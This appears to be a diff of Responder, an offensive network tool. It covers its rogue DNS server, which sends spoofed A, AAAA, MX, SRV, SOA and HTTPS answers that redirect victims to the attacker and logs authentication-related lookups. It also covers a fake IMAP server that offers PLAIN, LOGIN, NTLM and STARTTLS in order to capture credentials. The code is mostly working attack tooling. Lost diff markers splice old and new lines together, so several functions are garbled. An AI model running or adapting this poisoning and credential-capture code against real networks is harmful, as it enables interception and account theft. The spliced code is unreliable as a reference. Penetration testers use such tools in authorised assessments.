if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# DNS Server TCP Class
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error: %s' % str(e)))
|
||||
|
||||
def parse_question(self, data, offset):
|
||||
"""Parse DNS question section and return domain name, type, class"""
|
||||
try:
|
||||
# Parse domain name (labels)
|
||||
labels = []
|
||||
original_offset = offset
|
||||
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
|
||||
# Check for compression pointer
|
||||
if (length & 0xC0) == 0xC0:
|
||||
# Compression pointer, stop here
|
||||
offset += 2
|
||||
break
|
||||
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
return None, None, None, offset
|
||||
|
||||
label = data[offset:offset+length].decode('utf-8', errors='ignore')
|
||||
labels.append(label)
|
||||
offset += length
|
||||
|
||||
domain_name = '.'.join(labels)
|
||||
|
||||
# Parse type and class
|
||||
if offset + 4 > len(data):
|
||||
return None, None, None, offset
|
||||
|
||||
query_type = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
query_class = struct.unpack('>H', data[offset+2:offset+4])[0]
|
||||
offset += 4
|
||||
|
||||
return domain_name, query_type, query_class, offset
|
||||
|
||||
except:
|
||||
return None, None, None, offset
|
||||
|
||||
def parse_opt_record(self, data, offset):
|
||||
"""
|
||||
Parse OPT pseudo-RR from additional section (EDNS0)
|
||||
|
||||
OPT RR format:
|
||||
- NAME: domain name (should be root: 0x00)
|
||||
- TYPE: OPT (41)
|
||||
- CLASS: requestor's UDP payload size
|
||||
- TTL: extended RCODE and flags (4 bytes)
|
||||
- Byte 0: Extended RCODE
|
||||
- Byte 1: EDNS version
|
||||
- Bytes 2-3: Flags (bit 15 = DNSSEC OK)
|
||||
- RDLENGTH: length of RDATA
|
||||
- RDATA: {attribute, value} pairs
|
||||
"""
|
||||
try:
|
||||
# Skip any answer/authority records to get to additional section
|
||||
# For simplicity, we'll scan for OPT record (TYPE=41)
|
||||
|
||||
while offset < len(data):
|
||||
# Check if we're at a name
|
||||
if offset >= len(data):
|
||||
return None
|
||||
|
||||
# Skip name (could be label or pointer)
|
||||
name_start = offset
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
if (length & 0xC0) == 0xC0:
|
||||
offset += 2
|
||||
break
|
||||
offset += length + 1
|
||||
|
||||
# Check if we have enough data for type, class, ttl, rdlength
|
||||
if offset + 10 > len(data):
|
||||
return None
|
||||
|
||||
rr_type = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
if rr_type == 41: # OPT record found
|
||||
udp_payload_size = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
# TTL field contains extended RCODE and flags
|
||||
ttl_bytes = data[offset:offset+4]
|
||||
extended_rcode = ttl_bytes[0]
|
||||
edns_version = ttl_bytes[1]
|
||||
flags = struct.unpack('>H', ttl_bytes[2:4])[0]
|
||||
dnssec_ok = bool(flags & 0x8000) # DO bit
|
||||
offset += 4
|
||||
|
||||
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2
|
||||
|
||||
# RDATA contains option codes (we'll just skip for now)
|
||||
rdata = data[offset:offset+rdlength] if rdlength > 0 else b''
|
||||
|
||||
return {
|
||||
'udp_size': udp_payload_size,
|
||||
'extended_rcode': extended_rcode,
|
||||
'edns_version': edns_version,
|
||||
'dnssec_ok': dnssec_ok,
|
||||
'rdata': rdata
|
||||
}
|
||||
else:
|
||||
# Skip this RR
|
||||
offset += 2 # class
|
||||
offset += 4 # ttl
|
||||
if offset + 2 > len(data):
|
||||
return None
|
||||
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
|
||||
offset += 2 + rdlength
|
||||
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error parsing OPT record: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def should_respond(self, query_name, query_type):
|
||||
"""Determine if we should respond to this DNS query"""
|
||||
|
||||
# Don't respond to empty queries
|
||||
if not query_name:
|
||||
return False
|
||||
|
||||
# Domain filtering - only respond to configured domain if set
|
||||
if hasattr(settings.Config, 'DHCPv6_Domain') and settings.Config.DHCPv6_Domain:
|
||||
target_domain = settings.Config.DHCPv6_Domain.lower().strip()
|
||||
query_lower = query_name.lower().strip('.')
|
||||
|
||||
# Check if query matches domain or is a subdomain
|
||||
if not (query_lower == target_domain or query_lower.endswith('.' + target_domain)):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Ignoring query for %s (not in target domain %s)' % (
|
||||
query_name, target_domain)))
|
||||
return False
|
||||
|
||||
# Log that we're responding to a filtered domain
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
|
||||
|
||||
# Respond to these query types:
|
||||
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
|
||||
# SVCB (64), HTTPS (65) - Service Binding records
|
||||
supported_types = [1, 6, 15, 16, 28, 33, 64, 65, 255]
|
||||
if query_type not in supported_types:
|
||||
return False
|
||||
|
||||
# Check if domain is in analyze mode targets
|
||||
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
|
||||
#if hasattr(settings.Config, 'AnalyzeMode'):
|
||||
#if settings.Config.AnalyzeMode:
|
||||
# In analyze mode, log but don't respond
|
||||
#return False
|
||||
|
||||
# Log interesting queries (authentication-related domains)
|
||||
query_lower = query_name.lower()
|
||||
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
|
||||
if any(pattern in query_lower for pattern in interesting_patterns):
|
||||
SaveToDb({
|
||||
'module': 'DNS',
|
||||
'type': 'Interesting-Query',
|
||||
'client': self.client_address[0].replace('::ffff:', ''),
|
||||
'hostname': query_name,
|
||||
'fullhash': query_name
|
||||
})
|
||||
|
||||
# Respond to everything that passed the filters
|
||||
return True
|
||||
|
||||
def build_response(self, transaction_id, query_name, query_type, query_class, original_data, opt_record=None):
|
||||
"""Build DNS response packet with optional OPT record support"""
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
# DNS Header
|
||||
response = transaction_id # Transaction ID
|
||||
|
||||
# Flags: Response, Authoritative, No error
|
||||
flags = 0x8400 # Standard query response, authoritative
|
||||
response += struct.pack('>H', flags)
|
||||
|
||||
# Questions, Answers, Authority RRs, Additional RRs
|
||||
response += struct.pack('>H', 1) # 1 question
|
||||
response += struct.pack('>H', 1) # 1 answer
|
||||
response += struct.pack('>H', 0) # 0 authority
|
||||
|
||||
# Additional RRs count (1 if we have OPT record)
|
||||
additional_count = 1 if opt_record else 0
|
||||
response += struct.pack('>H', additional_count)
|
||||
|
||||
# Question section (copy from original query)
|
||||
# Find question section in original data
|
||||
question_start = 12
|
||||
question_end = question_start
|
||||
|
||||
# Skip to end of domain name
|
||||
while question_end < len(original_data):
|
||||
length = original_data[question_end]
|
||||
if length == 0:
|
||||
question_end += 5 # null byte + type (2) + class (2)
|
||||
break
|
||||
if (length & 0xC0) == 0xC0:
|
||||
question_end += 6 # pointer (2) + type (2) + class (2)
|
||||
break
|
||||
question_end += length + 1
|
||||
|
||||
question_section = original_data[question_start:question_end]
|
||||
response += question_section
|
||||
|
||||
# Answer section
|
||||
# Name (pointer to question)
|
||||
response += b'\xc0\x0c' # Pointer to offset 12 (question name)
|
||||
|
||||
# Type
|
||||
response += struct.pack('>H', query_type)
|
||||
|
||||
# Class
|
||||
response += struct.pack('>H', query_class)
|
||||
|
||||
# TTL (short to ensure frequent re-queries)
|
||||
response += struct.pack('>I', 60) # 60 seconds
|
||||
|
||||
# Get target IP
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
|
||||
if query_type == 1: # A record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 4)
|
||||
# RDATA (IPv4 address)
|
||||
response += socket.inet_aton(target_ip)
|
||||
|
||||
elif query_type == 28: # AAAA record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 16)
|
||||
# RDATA (IPv6 address)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
response += socket.inet_pton(socket.AF_INET6, ipv6)
|
||||
|
||||
elif query_type == 6: # SOA record (Start of Authority)
|
||||
# Build SOA record to appear authoritative
|
||||
# SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
# MNAME (primary nameserver) - pointer to query name
|
||||
soa_data = b'\xc0\x0c'
|
||||
|
||||
# RNAME (responsible party) - admin@<domain>
|
||||
# Format: admin.<domain> (@ becomes .)
|
||||
soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name
|
||||
|
||||
# SERIAL (zone serial number)
|
||||
import time
|
||||
serial = int(time.time()) % 2147483647 # Use timestamp as serial
|
||||
soa_data += struct.pack('>I', serial)
|
||||
|
||||
# REFRESH (32-bit seconds) - how often secondary checks for updates
|
||||
soa_data += struct.pack('>I', 120) # 2 minutes
|
||||
|
||||
# RETRY (32-bit seconds) - retry interval if refresh fails
|
||||
soa_data += struct.pack('>I', 60) # 1 minute
|
||||
|
||||
# EXPIRE (32-bit seconds) - when zone data becomes invalid
|
||||
soa_data += struct.pack('>I', 300) # 5 minutes
|
||||
|
||||
# MINIMUM (32-bit seconds) - minimum TTL for negative caching
|
||||
soa_data += struct.pack('>I', 60) # 60 seconds
|
||||
|
||||
response += struct.pack('>H', len(soa_data))
|
||||
response += soa_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1))
|
||||
|
||||
elif query_type == 15: # MX record (mail server)
|
||||
# Build MX record pointing to our server
|
||||
# This captures SMTP auth attempts
|
||||
mx_data = struct.pack('>H', 10) # Priority 10
|
||||
mx_data += b'\xc0\x0c' # Pointer to query name (our server)
|
||||
|
||||
response += struct.pack('>H', len(mx_data))
|
||||
response += mx_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1))
|
||||
|
||||
elif query_type == 16: # TXT record
|
||||
# Return a benign TXT record
|
||||
txt_data = b'v=spf1 a mx ~all' # SPF record
|
||||
response += struct.pack('>H', len(txt_data) + 1)
|
||||
response += struct.pack('B', len(txt_data))
|
||||
response += txt_data
|
||||
|
||||
elif query_type == 33: # SRV record (service discovery)
|
||||
# SRV format: priority, weight, port, target
|
||||
# Useful for capturing Kerberos, LDAP, etc.
|
||||
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
|
||||
srv_data += b'\xc0\x0c' # Target (pointer to query name)
|
||||
|
||||
response += struct.pack('>H', len(srv_data))
|
||||
response += srv_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
|
||||
|
||||
elif query_type == 255: # ANY query
|
||||
# Respond with A record
|
||||
response += struct.pack('>H', 4)
|
||||
response += socket.inet_aton(target_ip)
|
||||
|
||||
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
|
||||
# Service Binding records - respond with alias to same domain
|
||||
# This tells clients to use A/AAAA records for the service
|
||||
# SVCB format: priority, target, params
|
||||
|
||||
# Priority 0 = AliasMode (just use A/AAAA of target)
|
||||
svcb_data = struct.pack('>H', 0) # Priority 0 (alias)
|
||||
# Target: pointer to query name (use our domain)
|
||||
svcb_data += b'\xc0\x0c' # Pointer to query name
|
||||
|
||||
response += struct.pack('>H', len(svcb_data))
|
||||
response += svcb_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
record_type = 'HTTPS' if query_type == 65 else 'SVCB'
|
||||
print(color('[DNS] %s record poisoned - alias mode' % record_type, 3, 1))
|
||||
|
||||
# Add OPT record to additional section if client sent one
|
||||
if opt_record:
|
||||
response += self.build_opt_record(opt_record)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error building response: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def build_opt_record(self, client_opt):
|
||||
"""
|
||||
Build OPT pseudo-RR for EDNS0 response
|
||||
|
||||
This indicates our server supports EDNS0 extensions
|
||||
"""
|
||||
try:
|
||||
opt_rr = b''
|
||||
|
||||
# NAME: root domain (empty)
|
||||
opt_rr += b'\x00'
|
||||
|
||||
# TYPE: OPT (41)
|
||||
opt_rr += struct.pack('>H', 41)
|
||||
|
||||
# CLASS: UDP payload size we support (typically 4096 or 512)
|
||||
# Match client's size or use reasonable default
|
||||
udp_size = min(client_opt['udp_size'], 4096) if client_opt['udp_size'] > 512 else 4096
|
||||
opt_rr += struct.pack('>H', udp_size)
|
||||
|
||||
# TTL: Extended RCODE and flags
|
||||
# Byte 0: Extended RCODE (0 = no error)
|
||||
# Byte 1: EDNS version (0)
|
||||
# Bytes 2-3: Flags (we don't set DNSSEC OK in response)
|
||||
extended_rcode = 0
|
||||
edns_version = 0
|
||||
flags = 0 # No flags set (we don't support DNSSEC)
|
||||
|
||||
opt_rr += struct.pack('B', extended_rcode)
|
||||
opt_rr += struct.pack('B', edns_version)
|
||||
opt_rr += struct.pack('>H', flags)
|
||||
|
||||
# RDLENGTH: 0 (no additional options)
|
||||
opt_rr += struct.pack('>H', 0)
|
||||
|
||||
# RDATA: empty (no options)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Added OPT record to response (EDNS0)', 4, 1))
|
||||
|
||||
return opt_rr
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS] Error building OPT record: %s' % str(e)))
|
||||
return b''
|
||||
|
||||
def get_target_ip(self, query_type):
|
||||
"""Get the target IP address for spoofed responses"""
|
||||
# Use Responder's configured IP
|
||||
if query_type == 28: # AAAA
|
||||
return self.get_ipv6_address()
|
||||
else: # A record
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def get_ipv6_address(self):
|
||||
"""Get IPv6 address for AAAA responses"""
|
||||
# Priority 1: Use explicitly configured IPv6
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
return settings.Config.Bind_To_IPv6
|
||||
|
||||
# Priority 2: Try to detect actual IPv6 on interface
|
||||
try:
|
||||
import netifaces
|
||||
ipv4 = settings.Config.Bind_To
|
||||
|
||||
# Find which interface has this IPv4
|
||||
for iface in netifaces.interfaces():
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
# Check if this interface has our IPv4
|
||||
if netifaces.AF_INET in addrs:
|
||||
for addr in addrs[netifaces.AF_INET]:
|
||||
if addr.get('addr') == ipv4:
|
||||
# Found the interface, get its global IPv6
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
|
||||
# Return first global IPv6 (not link-local fe80::)
|
||||
if ipv6 and not ipv6.startswith('fe80:'):
|
||||
return ipv6
|
||||
except:
|
||||
continue
|
||||
except ImportError:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
|
||||
# This allows dual-stack clients to connect via IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
return '::ffff:%s' % ipv4
|
||||
except:
|
||||
pass
|
||||
|
||||
# Last resort: return IPv6 loopback
|
||||
return '::1'
|
||||
|
||||
def get_type_name(self, query_type):
|
||||
"""Convert query type number to name"""
|
||||
types = {
|
||||
1: 'A',
|
||||
2: 'NS',
|
||||
5: 'CNAME',
|
||||
6: 'SOA',
|
||||
12: 'PTR',
|
||||
15: 'MX',
|
||||
16: 'TXT',
|
||||
28: 'AAAA',
|
||||
33: 'SRV',
|
||||
41: 'OPT',
|
||||
64: 'SVCB',
|
||||
65: 'HTTPS',
|
||||
255: 'ANY'
|
||||
}
|
||||
return types.get(query_type, 'TYPE%d' % query_type)
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
"""
|
||||
DNS over TCP server
|
||||
Handles TCP-based DNS queries (zone transfers, large responses)
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# TCP DNS messages are prefixed with 2-byte length
|
||||
length_data = self.request.recv(2)
|
||||
if len(length_data) < 2:
|
||||
return
|
||||
|
||||
msg_length = struct.unpack('>H', length_data)[0]
|
||||
|
||||
# Receive the DNS message
|
||||
data = b''
|
||||
while len(data) < msg_length:
|
||||
chunk = self.request.recv(msg_length - len(data))
|
||||
if not chunk:
|
||||
return
|
||||
data += chunk
|
||||
|
||||
if len(data) < 12:
|
||||
return
|
||||
|
||||
# Parse DNS header
|
||||
transaction_id = data[0:2]
|
||||
flags = struct.unpack('>H', data[2:4])[0]
|
||||
questions = struct.unpack('>H', data[4:6])[0]
|
||||
answer_rrs = struct.unpack('>H', data[6:8])[0]
|
||||
authority_rrs = struct.unpack('>H', data[8:10])[0]
|
||||
additional_rrs = struct.unpack('>H', data[10:12])[0]
|
||||
|
||||
# Check if it's a query
|
||||
if flags & 0x8000:
|
||||
return
|
||||
|
||||
# Create DNS instance to reuse parsing logic
|
||||
dns_handler = DNS.__new__(DNS)
|
||||
dns_handler.client_address = self.client_address
|
||||
|
||||
# Parse question
|
||||
query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12)
|
||||
|
||||
if not query_name:
|
||||
return
|
||||
|
||||
# Check for OPT record
|
||||
opt_record = None
|
||||
if additional_rrs > 0:
|
||||
opt_record = dns_handler.parse_opt_record(data, offset)
|
||||
|
||||
# Log the query
|
||||
if settings.Config.Verbose:
|
||||
query_type_name = dns_handler.get_type_name(query_type)
|
||||
opt_info = ''
|
||||
if opt_record:
|
||||
opt_info = ' [EDNS0: UDP=%d]' % opt_record['udp_size']
|
||||
print(text('[DNS-TCP] Query from %s: %s (%s)%s' % (
|
||||
self.client_address[0].replace('::ffff:', ''),
|
||||
query_name,
|
||||
query_type_name,
|
||||
opt_info
|
||||
)))
|
||||
|
||||
# Check if we should respond
|
||||
if not dns_handler.should_respond(query_name, query_type):
|
||||
return
|
||||
|
||||
# Build response
|
||||
response = dns_handler.build_response(
|
||||
transaction_id,
|
||||
query_name,
|
||||
query_type,
|
||||
query_class,
|
||||
data,
|
||||
opt_record
|
||||
)
|
||||
|
||||
if response:
|
||||
# Prefix with length for TCP
|
||||
tcp_response = struct.pack('>H', len(response)) + response
|
||||
self.request.sendall(tcp_response)
|
||||
|
||||
target_ip = dns_handler.get_target_ip(query_type)
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DNS-TCP] Error: %s' % str(e)))
|
||||
|
||||
603
servers/IMAP.py
603
servers/IMAP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,34 +15,609 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import base64
|
||||
import re
|
||||
import struct
|
||||
import os
|
||||
import ssl
|
||||
from utils import *
|
||||
|
||||
if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
class IMAP(BaseRequestHandler):
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.tls_enabled = False
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def upgrade_to_tls(self):
|
||||
"""Upgrade connection to TLS using Responder's SSL certificates"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] SSL certificates not found'))
|
||||
return False
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
self.tls_enabled = True
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Successfully upgraded to TLS from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] TLS upgrade failed: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def send_capability(self, tag="*"):
|
||||
"""Send CAPABILITY response with STARTTLS if not already in TLS"""
|
||||
if self.tls_enabled:
|
||||
# After STARTTLS, don't advertise it again
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||
else:
|
||||
# Before STARTTLS, advertise it
|
||||
capability = "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM STARTTLS\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(capability))
|
||||
|
||||
if tag != "*":
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=tag)))
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# Send greeting
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:15] == b'CAPABILITY':
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
|
||||
|
||||
# Main loop to handle multiple commands
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:10] == b'LOGIN':
|
||||
Credentials = data[10:].strip().decode("latin-1").split('"')
|
||||
|
||||
if not data:
|
||||
break
|
||||
|
||||
# Handle CAPABILITY command
|
||||
if b'CAPABILITY' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
self.send_capability(RequestTag)
|
||||
continue
|
||||
|
||||
# Handle STARTTLS command
|
||||
if b'STARTTLS' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
if self.tls_enabled:
|
||||
# Already in TLS
|
||||
response = "%s BAD STARTTLS already in TLS\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
continue
|
||||
|
||||
# Send OK response before upgrading
|
||||
response = "%s OK Begin TLS negotiation now\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
# Upgrade to TLS
|
||||
if not self.upgrade_to_tls():
|
||||
# TLS upgrade failed, close connection
|
||||
break
|
||||
|
||||
# Continue handling commands over TLS
|
||||
continue
|
||||
|
||||
# Handle LOGIN command
|
||||
if b'LOGIN' in data.upper():
|
||||
success = self.handle_login(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE PLAIN
|
||||
if b'AUTHENTICATE PLAIN' in data.upper():
|
||||
success = self.handle_authenticate_plain(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE LOGIN
|
||||
if b'AUTHENTICATE LOGIN' in data.upper():
|
||||
success = self.handle_authenticate_login(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE NTLM
|
||||
if b'AUTHENTICATE NTLM' in data.upper():
|
||||
success = self.handle_authenticate_ntlm(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle LOGOUT
|
||||
if b'LOGOUT' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
response = "* BYE IMAP4 server logging out\r\n"
|
||||
response += "%s OK LOGOUT completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
break
|
||||
|
||||
# Unknown command - send error
|
||||
RequestTag = self.extract_tag(data)
|
||||
response = "%s BAD Command not recognized\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def extract_tag(self, data):
|
||||
"""Extract IMAP command tag (e.g., 'A001' from 'A001 LOGIN ...')"""
|
||||
try:
|
||||
parts = data.decode('latin-1', errors='ignore').split()
|
||||
if parts:
|
||||
return parts[0]
|
||||
except:
|
||||
pass
|
||||
return "A001"
|
||||
|
||||
def handle_login(self, data):
|
||||
"""
|
||||
Handle LOGIN command
|
||||
Format: TAG LOGIN username password
|
||||
Credentials can be quoted or unquoted
|
||||
"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
# Decode the data
|
||||
data_str = data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
# Remove tag and LOGIN command
|
||||
